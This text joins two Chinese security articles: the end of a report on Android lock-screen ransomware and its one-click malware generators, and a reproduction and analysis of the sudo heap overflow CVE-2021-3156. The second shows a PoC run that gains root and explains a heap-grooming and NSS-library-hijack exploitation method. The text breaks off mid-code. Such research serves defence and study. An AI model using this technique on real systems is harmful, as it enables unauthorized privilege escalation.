2017年上半年，通过该QQ群传播的勒索软件累计感染手机近1万部。感染地区覆盖全国30多个省市，感染量最多的三个地区是北京（47.0%）、江苏（35.0%）、广东（4.0%）。
图7
**（二）QQ群共享资源**
我们进到一些锁机QQ群后发现，群里有人将一些锁机源码、测试视频、视频教程、软件源码及制作工具等等上传到群文件中，共享给群里其他人，
**甚至还有人制作木马一键生成器。**
**这种一键生成器操作简单，不需要具备编程知识而且能够自定义生成多种类型的手机恶意软件。由于使用门槛低，造成了勒索软件从数量、类型上的不断增长与变化。**
图8
**三、 传播影响与范围**
****
通QQ群查询“锁机”关键字得到的结果，带有“锁机”关键字标签的QQ群有200余个，由此可见QQ群是勒索软件的主要传播源。
图9
**第三章 勒索软件定制与工厂化**
****
**一、 大部分一键生成器由简易工具制作而成**
勒索软件一键生成器不仅能够根据需求定制手机恶意软件尤其是勒索软件，而且还能够批量生产进入工厂化模式，这种一键生成器与大部分国内勒索软件，同样是使用AIDE开发工具开发。
AIDE是一款用于直接在Android设备上开发Android应用程序的集成开发环境（IDE）。支持编写-编译-调试运行整个周期，开发人员可以在Android手机或者平板机上创建新的项目，借助功能丰富的编辑器进行代码编写，支持实时错误检查、代码重构、代码智能导航、生成APK，然后直接安装进行测试。使用AIDE能降低软件作者的学习成本和开发门槛，同时拥有更灵活和快速修改代码的能力。
创建APP工程
图10
APP编译签名
图11
**二、 一键生成器介绍**
我们从某安卓锁机源码QQ群中下载到名为“APP梦工厂”的一键生成器。
图12
经过分析，一键生成器包结构主要有两部分构成，一部分是定制模板，另一部分是签名工具，均存放在APK包的assets资源文件夹下。
图13
生成模板共有22种不同类型的软件，其中包括了12种不同类型的勒索软件、6种钓鱼软件、2种套路软件、1种拦截马软件以及1种表白软件。
图14
签名工具使用的是Android测试证书。
图15
**三、 生成器制作流程**
**（一）选择生成软件的类型**
选择花式锁屏，类型包含固定密码生成、序列号生成、网页生成、电话生成、隐藏输入框生成、声控生成、魔幻粒子版远程修改密码生成、时钟生成、百变序列号生成、摇一摇生成、序列号图案生成和远程修改密码生成。
图16
选择消息转发，类型包括消息转发（手机号版）和消息转发（邮箱版）
图17
选择消息反馈，类型包括消息反馈1（手机号版）、消息反馈1（邮箱版）、消息反馈2（手机号版）和消息反馈2（邮箱版）
图18
选择表白软件，只有一种类型无声的表白
图19
选择套路软件，类型包括金典手机服务和王者荣耀礼包
图20
**（二）填写生成软件的配置信息**
需要选择图标、软件背景图文件路径、填写软件名称、PIN码、解锁密码以及页面上显示的文字内容。
图21
这些自定义的勒索软件配置信息，被插入到生成器的模版文件中，重新签名后在SD卡目录下生成定制的APK文件。
图 22
**（三）添加生成软件ROOT锁**
**这里添加ROOT壳，并不是指APK的加固加壳。而是指将之前一键生成的勒索软件以子包的形式隐藏在另一个软件中，后者伪装成正常软件安装运行后会通过一些文字提示诱导用户授予ROOT权限，同时将前者安装到手机系统软件目录中，这种子母包组合的锁机方式被制马人称为“ROOT壳”。**
一般伪装的正常软件都与ROOT、清理加速、文件管理相关，主要因为从这些软件的功能上，更容易让人们授予ROOT权限，从而更加顺利的隐藏到系统目录中。
图23
**结束语**
****
社交网络的飞速发展，让人与人之间的沟通变得更加方便。由于社交网络平台的灵活多变，也让一些人能够更加轻松的获取、传播恶意软件，平台的监管也带来了更大的困难。
制马人肆无忌惮制作、传播勒索软件进行勒索敲诈，并且大胆留下自己的QQ、微信以及支付宝账号等个人联系方式，主要是因为他们年龄小，法律意识淡薄，认为涉案金额少，并没有意识到触犯法律。甚至以此作为赚钱手段，并作为向他人进行炫耀的资本，加速了手机勒索软件的演变。
恶意软件一键生成器取代了人工繁琐的代码编写、编译过程，进一步降低了制作门槛，不仅生成速度变快，并且能够根据需要进行定制。
自从WannaCry勒索病毒全球大爆发后，国内效仿的勒索软件层出不穷。以加密文件方式进行敲诈勒索的手机勒索恶意软件逐渐出现，改变了之前的手机锁屏勒索的方式。
**手机勒索软件技术上更加复杂，造成的用户额外损失更加严重，同时也给安全厂商带来更大的挑战。** | 社区文章 |
# CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
`CVE-2021-3156`是`sudo`的一个堆溢出漏洞，可以用来进行本地提权。在类`uninx`中非`root`可以使用`sudo`来以`root`的权限执行操作。由于`sudo`错误的转义了`\`导致了一个堆溢出漏洞。
漏洞影响版本为`1.8.2-1.8.31sp12, 1.9.0-1.9.5sp1`，`sudo >=1.9.5sp2`的版本则不受影响。
感谢`luc`师傅带我飞。
## 环境搭建
这里我使用的是`docker ubuntu 20.04`，查看一下`sudo`版本，这里需要注意的是首先需要创建一个普通权限的用户
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
执行命令`sudoedit -s /`如果回显
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# sudoedit -s /
sudoedit: /: not a regular file
则表明存在漏洞，如果回显
➜ work sudoedit -s /
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file ...
则表示漏洞已经被修复
## 漏洞分析
首先我们使用[exp](https://github.com/blasty/CVE-2021-3156)先执行一下
root@c957df720fc7:~/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty# su normal
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ls
Makefile README.md hax.c lib.c libnss_X sudo-hax-me-a-sandwich
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$ ./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(normal)
# exit
normal@c957df720fc7:/root/pwn/漏洞/CVE-2021-3156/CVE-2021-3156_blasty$
当`sudo`以`-i,-s`参数启动即`MODE_SHELL,MODE_LOGIN_SHELl`标志启动的时候，`sudo`会使用`\`转义所有的元字符，并重写`argc,argv`
//src/parse_args.c/parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
for (av = argv; *av != NULL; av++) {// 串联所有的命令参数字符串
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
// 用\转义所有的元字符
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
// 重写argc，argv
av = reallocarray(NULL, ac + 1, sizeof(char *));
if (av == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, av))
exit(1);
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
之后会在`sudoers_policy_main`函数中调用`set_cmnd`函数
//plugins/sudoers/sudoers.c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
bool verbose, void *closure)
{
//...
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;
//...
}
static int
set_cmnd(void)
{
//...
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
847 if (NewArgc > 1) {
848 char *to, *from, **av;
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859 /*
860 * When running a command via a shell, the sudo front-end
861 * escapes potential meta chars. We unescape non-spaces
862 * for sudoers matching and logging purposes.
863 */
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
872 *--to = '\0';
873 } else {
874 //...
885 }
886 }
}
//...
}
从代码中我们可以看出，函数首先按照`argv`中参数的大小申请一块堆空间`user_args`，然后依次将命令行参数链接到该堆空间中。
但是如果当一个命令行参数以反斜杠结尾，即`from[0]=\,from[1]=null`，就会满足`866`行的条件，使得`from++`指向`null`，但是之后`868`行执行的拷贝操作又会使得`from++`从而越过了`null`，那么接下来的`while`循环就会发生越界拷贝。拷贝的内容将会复制到`user_args`堆块中，从而发生堆溢出。
但是理论在设置了`MODE_SHELL,MODE_LOGIN_SHELL`的条件下任何命令行参数都不可能以`\`结尾，因为其在`parse_args`函数中会对所有的元字符进行转义包括这个`\`。
但是这两个函数中的判断条件有所不同
//parse_args
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)){}
//sudoers_policy_main
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)){}
}
那么如果我们想要成功的利用堆溢出就需要在设置`flags=MODE_SHELL/MODE_LOGIN_SHELL`的条件下而不设置`mode=MODE_RUN`以避免转移代码的执行。那么根据`sudoers_policy_main`中的条件，我们只能设置`MODE_EDIT
| MODE_CHECK`这两个标志位了，来看一下设置的代码
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
case 'l':
if (mode) {
if (mode == MODE_LIST)
SET(flags, MODE_LONG_LIST);
else
usage_excl(1);
}
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
但是如果我们设置了这两个标志位，并且设置了`MODE_SHELL/MODE_LOGIN_SHELL`的话，在后续会被检测到并退出
if ((flags & valid_flags) != flags)
usage(1);// Give usage message and exit.
但是当我们以`sudoedit`执行的时候
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
这里只会设置`mode = MODE_EDIT`，而并不会设置`valid_flags`，也就不会检测退出，我们就可以正常执行到堆溢出的部分。
这个漏洞是非常友好的，因为我们可以通过控制命令行参数从而控制`user_args`堆块申请的大小，溢出的内容以及溢出的长度。并且攻击者可以通过以反斜杠结尾的方式实现向目标地址写`0`。
## 漏洞利用
### 背景知识
这在进行分析之前我们首先需要了解一下`locale`和`nss`相关的信息。
`locale`是根据计算机用户所使用的语言，所在的国家和地区所定义的一个软件运行时的语言环境，通常通过环境变量进行设置，`locale`相关的环境变量生效的顺序如下
1. `LANGUAGE`指定个人对语言环境的主次偏好，如`zh_CN:en_US`
2. `LC_ALL`是一个可以被`setlocale`设置的宏，其值可以覆盖所有其他的`locale`设定
3. `LC_XXX`详细设定`locale`的各个方面，可以覆盖`LANG`的值
4. `LANG`指定默认使用的`locale`
当`LC_ALL/LANG`被设置为`C`的时候，`LANGUAGE`的值将会被忽略。其命名规则如下
language[_territory[.codeset]][@modifier]
其中`language`是[ISO
639-1](https://zh.wikipedia.org/wiki/ISO_639-1)标准中定义的双字母的语言代码，`territory`是[ISO
3166-1](https://zh.wikipedia.org/wiki/ISO_3166-1)标准中定义的双字母的国家和地区代码，`codeset`是字符集的名称
(如 UTF-8等)，而 `modifier` 则是某些`locale`变体的修正符。我们可以详细的设置共`12`个环境变量
pwndbg> p _nl_category_names
$1 = {
str41 = "LC_COLLATE",
str67 = "LC_CTYPE",
str140 = "LC_MONETARY",
str193 = "LC_NUMERIC",
str207 = "LC_TIME",
str259 = "LC_MESSAGES",
str270 = "LC_PAPER",
str279 = "LC_NAME",
str292 = "LC_ADDRESS",
str311 = "LC_TELEPHONE",
str322 = "LC_MEASUREMENT",
str330 = "LC_IDENTIFICATION"
}
`nss`全称为`Name Service
Switch`，在`*nix`操作系统中，`nss`是`C`语言库的一部分，用来解析`name`，比如登陆用户的用户名以及`IP`地址到域名的解析。举个例子，当我们输入命令`ls
-alg`即查看一个目录中的文件列表，对于每一个文件我们可以看到它所属的用户和用户组，但是实际上系统中只保存了用户和用户组的`id`，要想显示与之相关的字符这就需要`nss`进行解析。我们可以在配置文件`/etc/nsswitch.conf`中定义相关数据库的查找规范
root@2c3723801aeb:/home/normal/CVE-2021-3156_blasty# cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
hosts: files dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
对于每个可用的查找规范即`service`都必须有文件`libnss_service.so.2`与之对应，例如`group`数据库定义了查找规范`files`，那么在调用`getgroup`函数的时候就会调用`libnss_files.so.2`中的`nss_lookup_function`函数进行查找。因此我们可以在`ubuntu`中找到下面的共享库
libnss_compat-2.31.so
libnss_compat.so
libnss_compat.so.2
libnss_dns-2.31.so
libnss_dns.so
libnss_dns.so.2
libnss_files-2.31.so
libnss_files.so
libnss_files.so.2
libnss_hesiod-2.31.so
libnss_hesiod.so
libnss_hesiod.so.2
libnss_nis-2.31.so
libnss_nis.so
libnss_nis.so.2
libnss_nisplus-2.31.so
libnss_nisplus.so
libnss_nisplus.so.2
libnss_systemd.so.2
正常情况下当`sudo`调用到`__nss_lookup_function`情况如下
In file: /root/glibc/sourceCode/glibc-2.31/nss/nsswitch.c
408 #endif
409
410
411 void *
412 __nss_lookup_function (service_user *ni, const char *fct_name)
► 413 {
414 void **found, *result;
415
416 /* We now modify global data. Protect it. */
417 __libc_lock_lock (lock);
418
───────────────────[ STACK]─────────
00:0000│ rsp 0x7fffffffe358 —▸ 0x7ffff7e3713f (internal_getgrouplist+175) ◂— test rax, rax
01:0008│ 0x7fffffffe360 ◂— 0x25b000000ae
02:0010│ 0x7fffffffe368 ◂— 0xffffff0000007d /* '}' */
03:0018│ 0x7fffffffe370 ◂— 0xffffffffffffffff
04:0020│ 0x7fffffffe378 —▸ 0x7fffffffe380 ◂— 0x1
05:0028│ 0x7fffffffe380 ◂— 0x1
06:0030│ 0x7fffffffe388 ◂— 0xc4e5bb2d41c2d00
07:0038│ 0x7fffffffe390 ◂— 0x0
───────────────────[ BACKTRACE ]─────────────────
► f 0 7ffff7e9bdf0 __nss_lookup_function
f 1 7ffff7e3713f internal_getgrouplist+175
f 2 7ffff7e373ed getgrouplist+109
f 3 7ffff7f4fe16 sudo_getgrouplist2_v1+198
f 4 7ffff7c53d63 sudo_make_gidlist_item+451
f 5 7ffff7c52b0e sudo_get_gidlist+286
f 6 7ffff7c4c86d runas_getgroups+93
f 7 7ffff7c39d32 set_perms+1650
───────────────────────────────────────────────────────────────
pwndbg> p *ni
$1 = {
next = 0x55555557fc10,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x55555557fc00 "files"
}
pwndbg> p *(ni->next)
$2 = {
next = 0x0,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x55555557fc40 "systemd"
}
pwndbg>
当调用`getgroup`函数的时候，`__nss_lookup_function`会依次加载`files,systemd`这两个`service
name`。而这两个`service name`的信息是存储在堆空间中的。看一下`__nss_lookup_function`函数的具体实现
void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
void **found, *result;
/* We now modify global data. Protect it. */
__libc_lock_lock (lock);
/* Search the tree of functions previously requested. Data in the
tree are `known_function' structures, whose first member is a
`const char *', the lookup key. The search returns a pointer to
the tree node structure; the first member of the is a pointer to
our structure (i.e. what will be a `known_function'); since the
first member of that is the lookup key string, &FCT_NAME is close
enough to a pointer to our structure to use as a lookup key that
will be passed to `known_compare' (above). */
found = __tsearch (&fct_name, &ni->known, &known_compare);
if (found == NULL)
/* This means out-of-memory. */
result = NULL;
else if (*found != &fct_name)
{
//...
}
else
{
/* This name was not known before. Now we have a node in the tree
(in the proper sorted position for FCT_NAME) that points to
&FCT_NAME instead of any real `known_function' structure.
Allocate a new structure and fill it in. */
known_function *known = malloc (sizeof *known);
if (! known)
{
//...
}
else
{
/* Point the tree node at this new structure. */
*found = known;
known->fct_name = fct_name;
#if !defined DO_STATIC_NSS || defined SHARED
/* Load the appropriate library. */
if (nss_load_library (ni) != 0)
/* This only happens when out of memory. */
goto remove_from_tree;
//...
return result;
}
libc_hidden_def (__nss_lookup_function)
在调用`nss_lookup_function`的时候一般`fct_name`是固定的字符串，所以这里我们直接进入`nss_load_library`函数
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
//...
}
# ifdef USE_NSCD
else if (is_nscd)
{
//...
}
return 0;
}
#endif
static service_library *
nss_new_service (name_database *database, const char *name)
{
service_library **currentp = &database->library;
while (*currentp != NULL)
{
if (strcmp ((*currentp)->name, name) == 0)
return *currentp;
currentp = &(*currentp)->next;
}
/* We have to add the new service. */
*currentp = (service_library *) malloc (sizeof (service_library));
if (*currentp == NULL)
return NULL;
(*currentp)->name = name;
(*currentp)->lib_handle = NULL;
(*currentp)->next = NULL;
return *currentp;
}
#endif
从代码中我们可以看出，如果`ni->library=NULL`，那么就会调用`nss_new_service`函数为其分配一个堆块，并对`name,lib_handle,next`赋值，完成之后进入`if
(ni->library->lib_handle ==
NULL)`分支，对`name`进行字符串拼接，也就是`libnss_+name+'.so.2'`，之后就会调用`__libc_dlopen`函数加载动态链接库。
由于`ni`的`service
name`结构体是分配在堆空间中的，而现在我们有存在`user_args`的堆溢出的漏洞，那么如果我们利用堆溢出将`service
name`结构体的除`name`之外的其他成员变量全部覆写为`0`，`name`覆写为`x/x`那么经过字符串拼接之后就会加载`libnss_x/x.so.2`的动态链接库，我们将`getshell`的代码写入`_init`之后编译为动态链接库即可。
接下来就是如何溢出的问题。为了防止溢出过程中覆写中间的关键结构体，`user_args`与`service
name`之间的距离要尽可能的小，最好的方法就是在`service
name`上方人为的释放一个堆块，之后`user_args`再申请该堆块进行溢出。目前分析的`exp`是通过`setlocale`实现的。我们首先来看一下`service_user`的初始化过程
在`sudo.c:191`会调用`get_user_info`函数在获取用户信息的时候需要获取用户的用户名和口令信息，这就需要到了`nss`服务，也就是需要调用`passwd`对应的服务规范。在函数中会调用根据配置文件初始化`file/systemd`等服务规范，调用栈如下
其中关键的逻辑代码如下
int
__nss_database_lookup2 (const char *database, const char *alternate_name,
const char *defconfig, service_user **ni)
{
//...
if (service_table == NULL)
/* Read config file. */
service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
//...
}
static name_database *
nss_parse_file (const char *fname)
{
//...
fp = fopen (fname, "rce");
if (fp == NULL)
return NULL;
//...
result = (name_database *) malloc (sizeof (name_database));
if (result == NULL)
{
fclose (fp);
return NULL;
}
result->entry = NULL;
result->library = NULL;
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp);
if (n < 0)
break;
if (line[n - 1] == '\n')
line[n - 1] = '\0';
/* Because the file format does not know any form of quoting we
can search forward for the next '#' character and if found
make it terminating the line. */
*__strchrnul (line, '#') = '\0';
/* If the line is blank it is ignored. */
if (line[0] == '\0')
continue;
/* Each line completely specifies the actions for a database. */
this = nss_getline (line);// 处理配置文件中的每一行
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!__feof_unlocked (fp));
//...
}
static name_database_entry *
nss_getline (char *line)
{
//...
result->service = nss_parse_service_list (line);// 处理文件中该行的所有服务规范
//...
}
static service_user *
nss_parse_service_list (const char *line)// 处理每一个服务规范
{
while (1)
{
new_service = (service_user *) malloc (sizeof (service_user)
+ (line - name + 1));
// 赋值
*nextp = new_service;
nextp = &new_service->next;
continue;
}
}
当配置文件中所有的服务规范全部处理完毕之后，形成了下面的列表，其中链表头存储在`libc`中。
pwndbg> p &service_table
$52 = (name_database **) 0x7ffff7f457a8 <service_table>
pwndbg> p *service_table
$53 = {
entry = 0x5555555829d0,
library = 0x0
}
pwndbg> p *service_table->entry
$54 = {
next = 0x555555582a70,
service = 0x5555555829f0,
name = 0x5555555829e0 "passwd"
}
pwndbg> p *service_table->entry->next
$55 = {
next = 0x5555555885b0,
service = 0x555555588530,
name = 0x555555582a80 "group"
}
pwndbg> p *service_table->entry->next->service
$56 = {
next = 0x555555588570,
actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},
library = 0x0,
known = 0x0,
name = 0x555555588560 "files"
}
经过调试发现`get_user_info`函数中的堆块申请顺序如下
malloc(0x100)
malloc(0x400)
malloc(0x1d8)// tcache
malloc(0x10)
malloc(0x78)// 固定0x80 // 释放
malloc(0x1000)
malloc(0x17)// 以下均为固定申请，且不会释放
malloc(0x36)
malloc(0x38)
malloc(0x16)
malloc(0x36)// group files
在`glibc>2.27`版本之上由于存在`tcache`，因此在申请堆块的时候会首先判断`tcache`中是否存在空闲的堆块。我们的目的是覆写`group
files`堆块，攻击如下首先是获取了`free`的原语，得到可以释放任意大小和数量的堆块之后进行了下面的布置。首先是`2`个`0x40`大小的堆块用来满足`passwd`的`service_user`的堆块的申请，然后释放一个堆块，用来满足`user_args`堆块的申请，然后再释放一个`0x40`大小的堆块用来满足`group
files service_user`的堆块的申请。
那么在`get_user_info`函数初始化所有的`service_user`堆块之后，在之后溢出`user_args`的时候就可以直接溢出到`group
files`的`service_user`结构体，就可以进行加载我们自己的动态链接库`getshell`。
### free 原语
`sudo`在`main`函数的起始位置`sudo.c:154`调用了`setlocale(LC_ALL,
"");`函数，其中`locale=""`表示根据环境变量来设置`locale`。`setlocale`会申请和释放大量的堆块。来看一下`setlocale`函数的源码
//setlocale(LC_ALL, "");
//glibc/locale/setlocale.c
char *
setlocale (int category, const char *locale)
{
char *locale_path;
size_t locale_path_len;
const char *locpath_var;
char *composite;
//...
if (category == LC_ALL)
{
//...
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
// 循环查找环境变量中的LC*环境变量的值，并根据优先级顺序进行加载，环境变量的值会存储在newnames中
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
//...
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
//setname&setdata，即为_nl_global_locale.__names数组赋值，该数组中存储有所有的环境变量的值
// 如果数组中原来存储有值，且不是默认的"C"，那么会释放原有的堆块
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);// 释放所有的newnames即环境变量的值
//...
return composite;
}
else
{
//...
}
}
libc_hidden_def (setlocale)
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
if (cloc_name[0] == '\0')// 这里获取栈中的LC_ALL变量的值
{
/* The user decides which locale to use by setting environment
variables. */
cloc_name = getenv ("LC_ALL");// 按照环境变量生效的顺序进行get
if (!name_present (cloc_name))
cloc_name = getenv (_nl_category_names_get (category));
if (!name_present (cloc_name))
cloc_name = getenv ("LANG");
if (!name_present (cloc_name))
cloc_name = _nl_C_name;
}
else if (!valid_locale_name (cloc_name))// 这里变量的值最大为255即0xff
{
__set_errno (EINVAL);
return NULL;
}
*name = cloc_name;
/* We really have to load some data. First we try the archive,
but only if there was no LOCPATH environment variable specified. */
if (__glibc_likely (locale_path == NULL))
{
struct __locale_data *data
= _nl_load_locale_from_archive (category, name);
if (__glibc_likely (data != NULL))
return data;
/* Nothing in the archive with the given name. Expanding it as
an alias and retry. */
cloc_name = _nl_expand_alias (*name);
if (cloc_name != NULL)
{
data = _nl_load_locale_from_archive (category, &cloc_name);
if (__builtin_expect (data != NULL, 1))
return data;
}
/* Nothing in the archive. Set the default path to search below. */
locale_path = _nl_default_locale_path;
locale_path_len = sizeof _nl_default_locale_path;
}
else
/* We really have to load some data. First see whether the name is
an alias. Please note that this makes it impossible to have "C"
or "POSIX" as aliases. */
cloc_name = _nl_expand_alias (*name);
if (cloc_name == NULL)
/* It is no alias. */
cloc_name = *name;
/* Make a writable copy of the locale name. */
char *loc_name = strdupa (cloc_name);
// language[_territory[.codeset]][@modifier]
// 下面将按照👆的格式一依次进行解析，normalized_codeset是小写的codeset
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
if (mask == -1)
/* Memory allocate problem. */
return NULL;
/* If exactly this locale was already asked for we have an entry with
the complete name. */
//
/*
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
*/
// 👇这个函数最为重要的是按照 👆的计算公式进行堆块的分配和释放
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names_get (category), 0);
if (locale_file == NULL)
{
/* Find status record for addressed locale file. We have to search
through all directories in the locale path. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names_get (category), 1);
if (locale_file == NULL)
/* This means we are out of core. */
return NULL;
}
//...
}
//intl/l10nflist.c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;
/* Allocate room for the full file name. */
// 这里按照环境变量进行了堆块的分配，注意到这里传入的参数do_allocate=0
// dirlist_len为0x10
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
if (abs_filename == NULL)
return NULL;
// 这里会根据mask的值进行路径的拷贝
/* Look in list of already loaded domains whether it is already
available. */
last = NULL;
for (retval = *l10nfile_list; retval != NULL; retval = retval->next)
if (retval->filename != NULL)
{
int compare = strcmp (retval->filename, abs_filename);
if (compare == 0)
/* We found it! */
break;
if (compare < 0)
{
/* It's not in the list. */
retval = NULL;
break;
}
last = retval;
}
// 如果文件在l10nfile_list列表中，即之前已经查看过了，那么这里就直接释放abs_filename即之前申请的堆块。
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);// 这里会释放开头申请的堆块
return retval;
}
//...
// 这里通过改变mask（组合territory,codeset等通过mask控制的参数），穷举路径搜索配置文件
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;
while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
